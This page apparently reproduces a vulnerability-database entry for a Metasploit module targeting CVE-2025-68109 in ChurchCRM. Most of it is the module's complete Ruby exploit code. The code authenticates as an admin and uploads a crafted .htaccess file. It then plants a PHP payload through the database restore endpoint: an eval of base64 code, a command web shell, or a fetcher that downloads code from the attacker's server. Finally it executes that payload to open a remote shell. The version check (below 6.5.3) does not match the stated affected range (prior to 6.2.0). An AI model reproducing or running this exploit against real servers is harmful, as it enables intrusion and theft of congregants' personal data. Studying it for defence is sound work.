METASPLOIT 9.1 CRITICAL

ChurchCRM Database Restore RCE 6.2.0_MSF:EXPLOIT-MULTI-HTTP-CHURCHCRM_DB_RESTORE_RCE-

9.1 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Description

This module exploits a Remote Code Execution RCE vulnerability in ChurchCRM versions prior to 6.2.0. The vulnerability resides in the Database Restore functionality, which allows an authenticated user with administrative privileges to upload a...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-MULTI-HTTP-CHURCHCRM_DB_RESTORE_RCE-
Published Apr 16, 2026 at 19:02

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ChurchCRM Database Restore RCE 6.2.0',
'Description' => %q{
This module exploits a Remote Code Execution (RCE) vulnerability in ChurchCRM
versions prior to 6.2.0. The vulnerability resides in the Database Restore
functionality, which allows an authenticated user with administrative privileges
to upload a malicious backup file. By bypassing upload restrictions via a
crafted .htaccess file, the module enables PHP code execution in the target
directory, ultimately providing the attacker with a Meterpreter shell.
},
'License' => MSF_LICENSE,
'Author' => ['LucasCsmt'],
'References' => [
[ 'GHSA', 'pqm7-g8px-9r77'],
[ 'CVE', '2025-68109']
],
'Platform' => ['linux', 'php'],
'Targets' => [
[
'Linux/unix Command (CmdStager)',
{
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => ['linux'],
'Type' => :nix_cmdstager,
'CmdStagerFlavor' => [
'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
]
}
],
[
'PHP (In-Memory)',
{
'Arch' => [ ARCH_PHP ],
'Platform' => ['php'],
'Type' => :php_memory
}
],
[
'PHP (Fetch)',
{
'Arch' => [ ARCH_PHP ],
'Platform' => ['php'],
'Type' => :php_fetch
}
],
],
'DisclosureDate' => '2025-12-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username for the admin account', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the admin account', nil])
]
)
end

# Check if the target is up by accessing the login page
def check
vprint_status('Checking if the target is reachable...')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'session', 'begin')
})

unless [200, 301, 302].include?(res.code)
return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}")
end

version = res.headers['CRM-VERSION']
if version
print_status("Found ChurchCRM version: #{version}")
if Rex::Version.new(version) < Rex::Version.new('6.5.3')
return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
else
return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
end
end
if res.body.include?('ChurchCRM')
return Exploit::CheckCode::Detected('ChurchCRM detected, but the version could not be determined.')
end

Exploit::CheckCode::Safe('The target does not appear to be ChurchCRM.')
end

# Build the payload that will be into the installation form
#
# @return : the payload
def build_payload
case target['Type']
when :php_memory
b64_payload = Rex::Text.encode_base64(payload.encoded)
"<?php eval(base64_decode(\"#{b64_payload}\")); ?>"
when :php_fetch
payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
"<?php $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); ?>"
else
"<?php if(isset($_GET['cmd'])){system($_GET['cmd'].' 2>&1');} ?>"
end
end

# Get the session cookie of the specified user
#
# @return : the session cookie
def get_cookie
print_status 'Getting the session cookie'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'session', 'begin'),
'vars_post' => {
'User' => datastore['USERNAME'],
'Password' => datastore['PASSWORD']
}
})

fail_with(Failure::Unreachable, 'No answer from the server') unless res
fail_with(Failure::NoAccess, 'Authentication error : Invalid login or password') if res.body.include?('Invalid login or password')
fail_with(Failure::NoAccess, 'Authentication error : This account have been locked') if res.body.include?('Too many failed logins')
fail_with(Failure::UnexpectedReply, "Invalid status code : #{res.code}") unless [200, 301, 302].include?(res.code)

cookie = res.get_cookies
fail_with(Failure::UnexpectedReply, 'No cookies found') if cookie.blank?

print_good 'The session cookie has been received'
cookie
end

# Handles the incoming HTTP request and serves the payload to the target.
def on_request_uri(cli, _request)
p = payload.encoded
send_response(cli, p, {
'Content-Type' => 'application/x-httpd-php',
'Pragma' => 'no-cache'
})
end

def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name),
'vars_get' => { 'cmd' => cmd }
})
end

# Upload a file exploiting the database resotre functionality
#
# @param : file_name, the name of the file to upload
# @param : content, the content of the file to upload
def upload_file(file_name, content)
print_status "Uploading the file : #{file_name}"
data = Rex::MIME::Message.new
data.add_part(
content,
'application/octet-stream',
nil,
"form-data; name=\"restoreFile\"; filename=\"#{file_name}\""
)
data.add_part('', nil, nil, 'form-data; name="restorePassword"')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'database', 'restore'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => @cookie
})
fail_with(Failure::Unreachable, 'No answer from the server') unless res
# The server returns a 500 error because the uploaded file is not a valid backup file, but the file is still uploaded before the crash.
fail_with(Failure::NotVulnerable, 'Invalid status code, the target may not be vulnerable') unless res.code == 500
print_good 'The file have been uploaded successfully'
end

# Execute the payload
def execute_payload
print_status 'Trying to execute the payload'
if target['Type'] == :nix_cmdstager
execute_cmdstager(
linemax: 500,
nodelete: false,
background: true,
temp: '/tmp'
)
else
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name)
})
end
print_good 'Payload successfully executed'
end

def exploit
if target['Type'] == :php_fetch
print_status('Starting HTTP server to serve the payload...')
start_service
end

@cookie = get_cookie

upload_file '.htaccess', "Allow from all\n"
register_file_for_cleanup('.htaccess')

@payload_name = rand_text_alpha(5..10) + '.php'
upload_file @payload_name, build_payload
register_file_for_cleanup(@payload_name)

execute_payload
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.